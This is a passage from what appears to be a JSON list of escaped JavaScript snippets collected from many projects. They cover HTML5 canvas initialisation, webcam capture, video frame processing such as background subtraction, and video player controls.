0;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t//renderer.clear();\\n\\t\\tvideoImageContext.putImageData(frame, 0, 0);\\n\\t\\t//videoImageContext.clearRect(0,0,50,50);\\n\\t}\\n\\t\\n\\tvar old_data = [], index = 0, buffer_length = 5, std_cutoff = 40;\\n\\tfunction fancy() {\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\told_data[index] = new Uint8ClampedArray(frame.data);\\n\\t\\t\\n\\t\\tvar current_buffer_size = old_data.length;\\n\\t\\tvar l = frame.data.length / 4;\\n\\t\\tfor (var i = 0; i < l; i++) {\\n\\t\\t\\tvar pos = i*4, mean = 0;\\n\\t\\t\\tfor (var j = 0; j < current_buffer_size; j++)\\n\\t\\t\\t\\tmean += (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\\n\\t\\t\\tmean /= buffer_length;\\n\\t\\t\\t\\n\\t\\t\\tvar std = 0;\\n\\t\\t\\tfor (var j = 0; j < current_buffer_size; j++) {\\n\\t\\t\\t\\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\\n\\t\\t\\t\\tstd += Math.pow(color_avg - mean, 2);\\n\\t\\t\\t}\\n\\t\\t\\tstd = Math.sqrt(std);\\n\\t\\t\\t//console.log('std: ', std);\\n\\t\\t\\t\\n\\t\\t\\tif (std < std_cutoff){\\n\\t\\t\\t\\t//frame.data[pos + 0] = 255;\\n\\t\\t\\t\\t//frame.data[pos + 1] = 255;\\n\\t\\t\\t\\t//frame.data[pos + 2] = 255;\\n\\t\\t\\t\\tframe.data[pos + 3] = 0;\\n\\t\\t\\t}\\n\\t\\t\\t//frame.data[pos + 3] = Math.exp(std);\\n\\t\\t}\\n\\t\\t//renderer.clear();\\n\\t\\tvideoImageContext.putImageData(frame, 0, 0);\\n\\t\\t//videoImageContext.clearRect(0,0,50,50);\\n\\t\\tindex = (index+1)%buffer_length;\\n\\t\\t//console.log('index: ', index);\\n\\t}\\n\\t\\n\\tvar snapshot_data;\\n\\tfunction snapshot(){\\n\\t\\tdrawImage();\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\tsnapshot_data = new Uint8ClampedArray(frame.data);\\n\\t}\\n\\t\\n\\tvar first = true, difference_threshold = 20, frame_length=0;\\n\\tfunction subtraction() {\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\tif (first) {\\n\\t\\t\\tsnapshot();\\n\\t\\t\\tfirst = false;\\n\\t\\t\\tframe_length = frame.data.length / 4;\\n\\t\\t}\\n\\t\\tfor (var i = 0; i < frame_length; i++) {\\n\\t\\t\\tvar pos = i*4, r = pos, g = pos+1, b = pos+2;\\n\\t\\t\\t\\n\\t\\t\\tvar difference = Math.sqrt((Math.pow(frame.data[r]-snapshot_data[r], 2) + Math.pow(frame.data[g]-snapshot_data[g], 2) + Math.pow(frame.data[b]-snapshot_data[b], 2))/3);\\n\\t\\t\\tif (difference < difference_threshold) {\\n\\t\\t\\t\\tframe.data[pos + 3] = 0;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tvideoImageContext.putImageData(frame, 0, 0);\\n\\t}\\n\\t\\n\\t//var bin_images = [], bin_counts = [], total_bins = 5, curr_bins = 0, frame_length = 0;\\n\\t//function subtraction() {\\n\\t// var frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t// if (curr_bins < bins) {\\n\\t//\\t\\tbin_images[curr_bins] = new Uint8ClampedArray(frame.data);\\n\\t//\\t\\tcurr_bins++;\\n\\t//\\t\\tframe_length = frame.data.length / 4;\\n\\t//\\t}\\n\\t// for (var i = 0; i < frame_length; i++) {\\n\\t//\\t\\tvar pos = i*4, best_bin = 0, r = pos, g = pos+1, b = pos+2;\\n\\t//\\t\\t\\n\\t//\\t\\tvar min_idx = 0, min_val = -1;\\n\\t//\\t\\tfor (var j = 0; j < curr_bins; j++){\\n\\t//\\t\\t\\tvar data = possible_backgrounds[j];\\n\\t//\\t\\t\\tvar difference = Math.sqrt((Math.pow(frame.data[r]-data[r], 2) + Math.pow(frame.data[g]-data[g], 2) + Math.pow(frame.data[b]-data[b], 2))/3);\\n\\t//\\t\\t\\tif (difference < max_val || min_val == -1) {\\n\\t//\\t\\t\\t\\tmax_val = difference;\\n\\t//\\t\\t\\t\\tmin_idx = j;\\n\\t//\\t\\t\\t}\\n\\t//\\t\\t}\\n\\t//\\t\\t\\n\\t//\\t\\t\\n\\t//\\t\\tvar std = 0;\\n\\t//\\t\\tfor (var j = 0; j < buffer_length; j++) {\\n\\t//\\t\\t\\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\\n\\t//\\t\\t\\tstd += Math.pow(color_avg - mean, 2);\\n\\t//\\t\\t}\\n\\t//\\t\\tstd = Math.sqrt(std);\\n\\t//\\t\\t//console.log('std: ', std);\\n\\t//\\t\\t\\n\\t// if (std < std_cutoff){\\n\\t// //frame.data[pos + 0] = 255;\\n\\t// //frame.data[pos + 1] = 255;\\n\\t// //frame.data[pos + 2] = 255;\\n\\t// frame.data[pos + 3] = 0;\\n\\t// }\\n\\t//\\t\\t//frame.data[pos + 3] = Math.exp(std);\\n\\t// }\\n\\t// //renderer.clear();\\n\\t// videoImageContext.putImageData(frame, 0, 0);\\n\\t// //videoImageContext.clearRect(0,0,50,50);\\n\\t//\\tindex = (index+1)%buffer_length;\\n\\t//\\t//console.log('index: ', index);\\n\\t//}\\n}\",\n \"function canvasInit() {\\n var canvas = document.getElementById(\\\"canvas\\\");\\n if (canvas.getContext) {\\n var ctx = canvas.getContext(\\\"2d\\\");\\n ctx.fillStyle = '#444';\\n ctx.font = '28px Arial';\\n wrapText(ctx, \\\"← Start by entering a jsonline.com url on the left.\\\", 100, 25, 700, 50);\\n step = 0;\\n }\\n}\",\n \"function initEditorCanvas() {\\n let canvas = document.getElementById('editorCanvas');\\n // Resize the canvas.\\n canvas.width = EDITOR_SCALE * CHR_WIDTH;\\n canvas.height = EDITOR_SCALE * CHR_HEIGHT;\\n\\n let ctx = cmn.getContext2DNA(canvas);\\n ctx.imageSmoothingEnabled = false;\\n ctx.scale(EDITOR_SCALE, EDITOR_SCALE);\\n\\n // Canvas is white by default.\\n ctx.fillStyle = 'black';\\n ctx.fillRect(0, 0, CHR_WIDTH, CHR_HEIGHT);\\n\\n canvas.addEventListener('mousedown', function (me) { _mouseDown = true; onMouseMove(me); });\\n canvas.addEventListener('mousemove', onMouseMove);\\n canvas.addEventListener('mouseup', function (me) { _mouseDown = false; });\\n canvas.addEventListener('mouseleave', function (me) { _mouseDown = false; });\\n}\",\n \"function init() {\\n canvas = document.getElementById('can');\\n ctx = canvas.getContext(\\\"2d\\\");\\n}\",\n \"function init() {\\n // Put event listeners into place\\n // Notice that in this specific case handlers are loaded on the onload event\\n window.addEventListener('DOMContentLoaded', function() {\\n // Grab elements, create settings, etc.\\n var canvas = document.getElementById('canvas');\\n var context = canvas.getContext('2d');\\n var video = document.getElementById('video');\\n var mediaConfig = {\\n video: true,\\n };\\n var errBack = function(e) {\\n console.log('An error has occurred!', e);\\n };\\n\\n // Put video listeners into place\\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\\n navigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\\n video.srcObject = stream;\\n video.onloadedmetadata = function(e) {\\n video.play();\\n };\\n });\\n }\\n\\n // Trigger photo take\\n document.getElementById('snap').addEventListener('click', function() {\\n context.drawImage(video, 0, 0, 640, 480);\\n state.photoSnapped = true; // photo has been taken\\n });\\n\\n // Trigger when upload button is pressed\\n document.getElementById('upload').addEventListener('click', uploadImage);\\n\\n document.getElementById('search').addEventListener('click',searchPhoto);\\n\\n }, false);\\n\\n }\",\n \"function main()\\n{\\n\\t//Function to execute when a canvas is created:\\n\\tvar canvasLoaded = 0;\\n\\tvar onLoadCanvas = function()\\n\\t{\\n\\t\\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\\\"Canvas '\\\" + this.getId() + \\\"' loaded! Mode used: \\\" + this.getMode()); }\\n\\n\\t\\tcanvasLoaded++;\\n\\n\\t\\t//Gets the \\\"context\\\" object to start working with the canvas:\\n\\t\\tvar canvasContext = this.getContext();\\n\\t\\tif (!canvasContext) { CB_console(\\\"ERROR: canvas context could not be obtained! Drawing cannot be performed.\\\"); return; }\\n\\n\\t\\t//Stores the canvas in the 'canvases' object:\\n\\t\\tcanvases[this.getId()] = this;\\n\\n\\t\\t//If both canvas (normal and buffer) have been created, proceeds with the rendering:\\n\\t\\tif (canvasLoaded >= 2)\\n\\t\\t{\\n\\t\\t\\t//When the screen changes its size or its orientation, both canvases will be re-adapted:\\n\\t\\t\\tvar onResizeOrChangeOrientationTimeout = null;\\n\\t\\t\\tvar onResizeOrChangeOrientation = function()\\n\\t\\t\\t{\\n\\t\\t\\t\\tclearTimeout(onResizeOrChangeOrientationTimeout);\\n\\t\\t\\t\\tonResizeOrChangeOrientationTimeout = setTimeout //NOTE: needs a delay as some clients on iOS update the screen size information in two or more steps (last step is the correct value).\\n\\t\\t\\t\\t(\\n\\t\\t\\t\\t\\tfunction()\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t//Resizes the canvas:\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas\\\"].setWidth(CB_Screen.getWindowWidth());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas\\\"].setHeight(CB_Screen.getWindowHeight());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas\\\"].clear(); canvases[\\\"my_canvas\\\"].disableAntiAliasing();\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t//Resizes the buffer canvas:\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].setWidth(CB_Screen.getWindowWidth());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].setHeight(CB_Screen.getWindowHeight());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].clear();\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].disableAntiAliasing();\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t);\\n\\t\\t\\t};\\n\\t\\t\\tCB_Screen.onResize(onResizeOrChangeOrientation);\\n\\n\\t\\t\\t//Clears both canvas:\\n\\t\\t\\tcanvases[\\\"my_canvas\\\"].clear();\\n\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].clear();\\n\\t\\t\\t\\n\\t\\t\\t//Disables anti-aliasing to avoid problems with adjacent sprites:\\n\\t\\t\\tcanvases[\\\"my_canvas\\\"].disableAntiAliasing();\\n\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].disableAntiAliasing();\\n\\t\\t\\t\\n\\t\\t\\t//Creates the sprites groups:\\n\\t\\t\\tvar graphicSpritesSceneObject = createSpritesGroups();\\n\\n\\t\\t\\t//Caches all needed images (performance purposes) and starts rendering sprites groups when all are loaded:\\n\\t\\t\\tmyREM = new CB_REM();\\n\\t\\t\\tmyREM.cacheImages\\n\\t\\t\\t(\\n\\t\\t\\t\\tgraphicSpritesSceneObject, //CB_GraphicSpritesSceneObject.\\n\\t\\t\\t\\tundefined, //reload.\\n\\t\\t\\t\\tfunction(imagesLoaded) //onLoad.\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t//Sets the current time as the start time to start counting the FPS (erased each second automatically):\\n\\t\\t\\t\\t\\tmyREM._startTimeFPS = CB_Device.getTiming();\\n\\n\\t\\t\\t\\t\\t//Show the FPS (Frames Per Second) every time there is a new value:\\n\\t\\t\\t\\t\\tmyREM.onUpdatedFPS(function(FPS) { graphicSpritesSceneObject.getById(\\\"fps_group\\\").getById(\\\"fps\\\").src = \\\"FPS: \\\" + FPS; });\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t//Processes the sprites groups:\\n\\t\\t\\t\\t\\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\\\"Starts processing graphic sprites scene ('CB_GraphicSpritesScene' object) constantly...\\\"); }\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tprocessSpritesGroups(graphicSpritesSceneObject, canvases[\\\"my_canvas\\\"], canvases[\\\"my_canvas\\\"].getContext(), canvases[\\\"my_canvas_buffer\\\"], canvases[\\\"my_canvas_buffer\\\"].getContext());\\n\\t\\t\\t\\t}\\n\\t\\t\\t);\\n\\t\\t}\\n\\t};\\n\\t\\n\\t//Creates the canvases:\\n\\tvar canvases = {};\\n\\tcanvases[\\\"my_canvas\\\"] = new CB_Canvas\\n\\t(\\n\\t\\t\\\"my_canvas\\\", //canvasId. Unique required parameter.\\n\\t\\t\\\"2d\\\", //contextType. NOTE: some emulation methods only support \\\"2d\\\". Default: \\\"2d\\\".\\n\\t\\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\\n\\t\\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\\n\\t\\tonLoadCanvas, //onLoad.\\n\\t\\tfunction(error) { CB_console(\\\"Canvas object problem! Error: \\\" + error); }, //onError.\\n\\t\\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\\n\\t);\\n\\tcanvases[\\\"my_canvas_buffer\\\"] = new CB_Canvas\\n\\t(\\n\\t\\t\\\"my_canvas_buffer\\\", //canvasId. Unique required parameter.\\n\\t\\t\\\"2d\\\", //contextType. NOTE: some emulation methods only support \\\"2d\\\". Default: \\\"2d\\\".\\n\\t\\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\\n\\t\\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\\n\\t\\tonLoadCanvas, //onLoad.\\n\\t\\tfunction(error) { CB_console(\\\"Canvas object problem! Error: \\\" + error); }, //onError.\\n\\t\\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\\n\\t);\\n}\",\n \"function initializeCanvas() {\\n\\tcanvas = document.getElementById(\\\"canvas\\\");\\n\\tctx = canvas.getContext(\\\"2d\\\");\\n}\",\n \"init() {\\n const canvas = document.createElement('canvas');\\n\\n canvas.style.display = 'none';\\n canvas.style.position = 'fixed';\\n canvas.style.top = '0px';\\n canvas.style.left = '0px';\\n canvas.style.zIndex = '1000000';\\n this.canvas = canvas;\\n\\n this.context = canvas.getContext('2d');\\n\\n document.body.appendChild(canvas);\\n\\n window.addEventListener('resize', (event) => this.resize());\\n\\n // UI events\\n window.addEventListener('mousemove', (event) => this.mouseMove(event));\\n window.addEventListener('mouseup', (event) => this.mouseUp(event));\\n window.addEventListener('mousedown', (event) => this.mouseDown(event));\\n window.addEventListener('keydown', (event) => this.keyDown(event));\\n\\n this.resize();\\n }\",\n \"function Init() {\\r\\n // Get context handles\\r\\n CanvasHandle = document.getElementById(\\\"canvas\\\");\\r\\n ContextHandle = CanvasHandle.getContext(\\\"2d\\\");\\r\\n CanvasWidth = ContextHandle.canvas.clientWidth;\\r\\n CanvasHeight = ContextHandle.canvas.clientHeight;\\r\\n\\r\\n // Create an image backbuffer\\r\\n BackCanvasHandle = document.createElement(\\\"canvas\\\");\\r\\n BackContextHandle = BackCanvasHandle.getContext(\\\"2d\\\");\\r\\n BackCanvasHandle.width = CanvasWidth;\\r\\n BackCanvasHandle.height = CanvasHeight;\\r\\n\\r\\n // Set line style\\r\\n BackContextHandle.lineCap = \\\"butt\\\";\\r\\n BackContextHandle.lineJoin = \\\"round\\\";\\r\\n BackContextHandle.strokeStyle = \\\"rgb(255, 255, 255)\\\";\\r\\n\\r\\n // Get the canvas center\\r\\n CenterX = CanvasWidth / 2;\\r\\n CenterY = CanvasHeight / 2;\\r\\n Camera = {x:0, y:0, r:20};\\r\\n}\",\n \"function init() {\\n redrawTIAIndicator = true;\\n usePhosphor = false;\\n phosphorBlendPercent = JsVideoConsts.DEFAULT_PHOSPHOR_BLEND;\\n\\n // Allocate buffers for two frame buffers\\n jsvideo.currentFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\\n previousFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\\n initBackBuffer(JsVideoConsts.DEFAULT_WIDTH, JsVideoConsts.DEFAULT_HEIGHT);\\n initPalettes();\\n loadImages();\\n jsvideo.initialize();\\n }\",\n \"function video() {\\n\\t\\t$('#wrapper').fitVids();\\n\\t}\",\n \"function paintToCanvas() {\\n // first we need the width and height\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n // make sure now that the canvas is the same size as the video before we paint into it\\n canvas.width = width;\\n canvas.height = height;\\n\\n // now ever x seconds we're going to snap a picture\\n setInterval(() => {\\n ctx.drawImage(video, 0, 0, width, height); // paint with the video, starting at the left top of the canvas, with the width and height specified above;\\n // take the pixels out\\n let pixels = ctx.getImageData(0, 0, width, height); // we get an array of millions of pixel values with each one it's own color value\\n // messing with the pixels\\n //pixels = redEffect(pixels); // the function redEffect is all the way down below\\n pixels = rgbSplit(pixels); // I'm choosing to play with this one instead of the two other functions\\n ctx.globalAlpha = 0.8;\\n //pixels = greenScreen(pixels);\\n // putting the pixels back back\\n ctx.putImageData(pixels, 0, 0);\\n }, 16); // here every 16 milliseconds a picture is taken from the video\\n}\",\n \"function initCanvas() {\\n if(isDebugged) {\\n debug.style.display = \\\"block\\\";\\n } else {\\n debug.style.display = \\\"none\\\";\\n }\\n\\n console.log(\\\"initializing canvas\\\");\\n\\n //var canvasElement = document.querySelector(\\\"#canvas\\\");\\n canvas = new fabric.Canvas(\\\"canvas\\\",{\\n selection: false,\\n height: canvas_initial_height,\\n width: canvas_initial_width,\\n backgroundColor: canvas_background_color\\n });\\n\\n //canvas.isDrawingMode = true;\\n\\n canvas.on(\\\"mouse:down\\\", onMouseDownCanvas);\\n\\n canvas.on(\\\"mouse:up\\\", onMouseUpCanvas);\\n\\n canvas.on(\\\"mouse:move\\\", onMouseMoveCanvas);\\n\\n //updateAndSyncCanvasSize(canvas_initial_width, canvas_initial_height);\\n}\",\n \"function setupMedia() {\\n if (supportsMedia()) {\\n audioContext = new AudioContext();\\n\\n navigator.getUserMedia(\\n {\\n video: false,\\n audio: true\\n },\\n function (localMediaStream) {\\n // map the camera\\n var video = document.getElementById('live_video');\\n video.src = window.URL.createObjectURL(localMediaStream);\\n\\n // create the canvas & get a 2d context\\n videoCanvas = document.createElement('canvas');\\n videoContext = videoCanvas.getContext('2d');\\n\\n // setup audio recorder\\n var audioInput = audioContext.createMediaStreamSource(localMediaStream);\\n //audioInput.connect(audioContext.destination);\\n // had to replace the above with the following to mute playback\\n // (so you don't get feedback)\\n var audioGain = audioContext.createGain();\\n audioGain.gain.value = 0;\\n audioInput.connect(audioGain);\\n audioGain.connect(audioContext.destination);\\n\\n audioRecorder = new Recorder(audioInput);\\n mediaStream = localMediaStream;\\n mediaInitialized = true;\\n\\n document.getElementById('uploading').hidden = true;\\n document.getElementById('media-error').hidden = true;\\n document.getElementById('record').hidden = false;\\n },\\n function (e) {\\n console.log('web-cam & microphone not initialized: ', e);\\n document.getElementById('media-error').hidden = false;\\n }\\n );\\n }\\n}\",\n \"function init(){\\n W = canvas.width = window.innerWidth;\\n H = canvas.height = window.innerHeight;\\n\\n // getting all the frames into the array of frames\\n loadFrames();\\n // creating the origin object\\n origin = new Origin();\\n}\",\n \"function setUpCanvas() {\\n /* clearing up the screen */\\n clear();\\n /* Set display size (vw/vh). */\\n var sizeWidth = (80 * window.innerWidth) / 100,\\n sizeHeight = window.innerHeight;\\n //Setting the canvas site and width to be responsive\\n upperLayer.width = sizeWidth;\\n upperLayer.height = sizeHeight;\\n upperLayer.style.width = sizeWidth;\\n upperLayer.style.height = sizeHeight;\\n lowerLayer.width = sizeWidth;\\n lowerLayer.height = sizeHeight;\\n lowerLayer.style.width = sizeWidth;\\n lowerLayer.style.height = sizeHeight;\\n rect = upperLayer.getBoundingClientRect();\\n}\",\n \"function setup() {\\n createCanvas(640, 480);\\n\\n video = createCapture(VIDEO);\\n video.size(width, height);\\n\\n // Create a new poseNet method with a single detection\\n poseNet = ml5.poseNet(video, modelReady);\\n // This sets up an event that fills the global variable \\\"poses\\\"\\n // with an array every time new poses are detected\\n poseNet.on('pose', function(results) {\\n poses = results;\\n debugger;\\n });\\n // Hide the video element, and just show the canvas\\n video.hide();\\n}\",\n \"function initVideo(){\\n\\t\\t//fit all videos in their parent container\\n\\t\\tjQuery(\\\".scalevid\\\").fitVids();\\n\\t}\",\n \"function initCanvasAndEditor() {\\n // Editor\\n initEditor();\\n\\n // Canvas\\n canvasResizer();\\n renderCanvas();\\n\\n // Listeners\\n addListeners();\\n}\",\n \"run() {\\n requestAnimationFrame(() => {\\n this.runFrame();\\n });\\n\\n this.output.video.run();\\n\\n this.running = true;\\n this.paused = false;\\n }\",\n \"function init() \\n {\\n\\t\\t\\n\\t\\t// initialize variables\\n\\t\\tvideo = document.getElementById(\\\"video1\\\");\\n\\t\\tcanvas = document.getElementById(\\\"canvas\\\");\\n\\t\\ttime_slider = document.getElementById(\\\"time_slider\\\");\\n label_CurrenFrame = document.getElementById(\\\"currentFrameTime\\\");\\n label_VideoLength = document.getElementById(\\\"videoLength\\\");\\n\\t\\tprevious_frame = document.getElementById(\\\"previousFrame\\\");\\n\\t\\tnext_frame = document.getElementById(\\\"nextFrame\\\");\\n\\t\\tcontainer = document.getElementById(\\\"container\\\");\\n\\t\\tcreate_sum = document.getElementById(\\\"submit\\\");\\n\\t\\t\\n //initialize events\\n\\t\\tcanvas.addEventListener(\\\"click\\\", saveFrame, false);\\n\\t\\tcanvas.addEventListener(\\\"mousemove\\\", mouseMove, false);\\n\\t\\ttime_slider.addEventListener(\\\"change\\\", UpdateFrame, false);\\n\\t\\ttime_slider.addEventListener(\\\"input\\\", UpdateFrame, false);\\n\\t\\t\\n\\t\\tdocument.getElementById('files').addEventListener('change', FileChosen);\\n\\t\\tdocument.getElementById('UploadButton').addEventListener('click', StartUpload); \\n\\t\\t\\n video.addEventListener('loadeddata', function () {\\n label_CurrenFrame.innerHTML = secondsToTimeString(video.currentTime);\\n label_VideoLength.innerHTML = secondsToTimeString(video.duration);\\n });\\n \\n\\t\\tprevious_frame.addEventListener('click', \\n\\t\\tfunction() {\\n\\t\\t\\tif (actual_frame === null) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (isUndefined(actual_frame)) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (actual_frame.second <= 0) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tvar value = Math.floor((actual_frame.second - 1) * 100 / video.duration);\\n\\t\\t\\tif (value >= 0 && value <= 100) {\\n\\t\\t\\t\\tactual_frame.second--;\\n\\t\\t\\t\\ttime_slider.value = value;\\n\\t\\t\\t\\tdrawFrame(actual_frame);\\n\\t\\t\\t}\\n\\t\\t},\\n\\t\\tfalse);\\n\\t\\t\\n\\t\\tnext_frame.addEventListener('click', \\n\\t\\tfunction() {\\n\\t\\t\\tif (actual_frame === null) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (video === null) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (isUndefined(actual_frame) || isUndefined(video) || isUndefined(video.duration)) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (actual_frame.second >= video.duration) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tvar value = Math.floor((actual_frame.second + 1) * 100 / video.duration);\\n\\t\\t\\tif (value >= 0 && value <= 100) {\\n\\t\\t\\t\\tactual_frame.second++;\\n\\t\\t\\t\\ttime_slider.value = value;\\n\\t\\t\\t\\tdrawFrame(actual_frame);\\n\\t\\t\\t}\\n\\t\\t},\\n\\t\\tfalse);\\n\\t\\t\\n\\t\\tdocument.getElementById('submit').addEventListener('click', \\n\\t\\tfunction() {\\n\\t\\t\\tupdateDescriptions();\\n\\t\\t\\tvar result = combineSegments();\\n\\t\\t\\tconsole.log(result);\\n\\t\\t\\t// send result to server!\\n \\t\\t\\tsocket.emit('ffmpeg', { 'Name' : SelectedFile.name, 'Data' : result });\\n\\t\\t\\tdocument.getElementById(\\\"create_progress\\\").innerHTML='Creating summary... 0%';\\n \\n\\t\\t\\tResetSegments();\\n\\t\\t},\\n\\t\\tfalse);\\n\\t\\t\\n\\t\\t// initialize player\\n\\t\\tinitPlayer();\\n\\t\\n\\t}\",\n \"function initialize() {\\n // will create HTML5 video element in staging area if not present\\n getDOMVideo();\\n isInitialized = true;\\n }\",\n \"async function setupWebcam() {\\n if (navigator.mediaDevices.getUserMedia) {\\n const stream = await navigator.mediaDevices.getUserMedia({\\n \\\"audio\\\": false,\\n \\\"video\\\": {\\n width: {\\n min: 640,\\n max: 640\\n },\\n height: {\\n min: 480,\\n max: 480\\n }\\n }\\n });\\n\\n webcam.srcObject = stream;\\n\\n return new Promise((resolve) => {\\n webcam.onloadedmetadata = () => {\\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\\n\\n canvasDims = [canvas.height, canvas.width];\\n\\n resolve(webcam);\\n };\\n });\\n }\\n}\",\n \"function drawFrameOnCanvas(frame) {\\n\\t\\n\\t\\tvar reset = frame.reset;\\n\\t\\n canvas.height = video.videoHeight;\\n canvas.width = video.videoWidth;\\n\\t\\t// retrieve context for drawing\\n\\t\\tvar context = canvas.getContext(\\\"2d\\\");\\n\\t\\t\\t\\t\\n\\t\\t// Start by clearing the canvas\\n\\t\\tcontext.clearRect(0, 0, canvas.width, canvas.height);\\n\\t\\t\\n\\t\\t// draw frame according to time\\n\\t\\t\\n\\t\\tif (reset) {\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\t\\n\\t\\tcontext.drawImage(video, 0, 0, canvas.width, canvas.height);\\n \\n }\",\n \"function renderUIAfterFrameChange(videoNode) {\\n\\n const video = videoNode.data.videoCore\\n\\n /* Rendering the current time bar */\\n renderCurrentPlaybackBar(videoNode)\\n\\n /* Updating the canvas resolution */\\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\\n\\n if (alpha1 < alpha2) {\\n canvas.width = video.videoWidth + alpha1\\n canvas.height = video.videoHeight\\n } else {\\n canvas.width = video.videoWidth\\n canvas.height = video.videoHeight + alpha2\\n }\\n\\n canvasRatio = canvas.width / canvas.height\\n videoRatio = video.videoWidth / video.videoHeight\\n\\n currentVideoDurationLabel.innerText = formatTimeFromSeconds((\\n videoNode.data.metadata.baseDuration - videoNode.data.metadata.startTime + video.currentTime\\n ).toFixed(2))\\n \\n if (videoNode.data.metadata.ratio == 'fit') {\\n if (window.currentRatio == 'strech') {\\n document.querySelector('.toogle-fit').click()\\n }\\n context.drawImage(\\n video, canvas.width / 2 - videoRatio * canvas.height / 2, 0, videoRatio * canvas.height, canvas.height\\n ) \\n } else if (videoNode.data.metadata.ratio == 'strech') {\\n if (window.currentRatio === 'fit') {\\n document.querySelector('.toogle-strech').click()\\n }\\n context.drawImage(\\n video, 0, 0, canvas.width, canvas.height\\n )\\n }\\n}\",\n \"function init() {\\n\\t\\t\\tconstructVideoPlayerContent(elems.container);\\n\\t\\t\\tshowControls();\\n\\t\\t\\t_.event(elems.btnBigPlay, 'click', play);\\n\\t\\t\\t_.event(elems.buttons.play, 'click', playPause);\\n\\t\\t\\t_.event(elems.video, 'click', pause);\\n\\t\\t\\t_.event(elems.buttons.volume, 'click', mute);\\n\\t\\t\\t_.event(elems.buttons.fullscreen, 'click', fullscreen);\\n\\t\\t\\t_.event(elems.video, 'loadedmetadata', function(e) {\\n\\t\\t\\t\\tplaybackRate(opts.speed);\\n\\t\\t\\t\\tvideoProgress = new Range(opts.progress / elems.video.duration, elems.ranges.video, {\\n\\t\\t\\t\\t\\tonDrop: (pct) => progress(pct, true),\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\tvolumeSlider = new Range(opts.volume, elems.ranges.volume, {\\n\\t\\t\\t\\t\\tonDrag: volume,\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\tvolume(opts.volume);\\n\\t\\t\\t\\tprogress(opts.progress);\\n\\t\\t\\t\\ttimestamp(0, elems.video.duration);\\n\\t\\t\\t\\tif (opts.autoplay) play();\\n\\t\\t\\t});\\n\\t\\t\\t_.event(elems.video, 'timeupdate', progUpdate);\\n\\t\\t\\t_.event(elems.main, 'mousemove', showControls);\\n\\t\\t\\t_.event(elems.controls, 'mouseenter', () => showControls(true));\\n\\t\\t\\t_.event(elems.controls, 'mouseleave', () => showControls(false));\\n\\t\\t\\t_.event(window, 'keyup', handleKeyPress);\\n\\t\\t\\t_.event(document, 'fullscreenchange', handleFullscreenChange); // PREFIXES WHY\\n\\t\\t\\t_.event(document, 'msfullscreenchange', handleFullscreenChange);\\n\\t\\t\\t_.event(document, 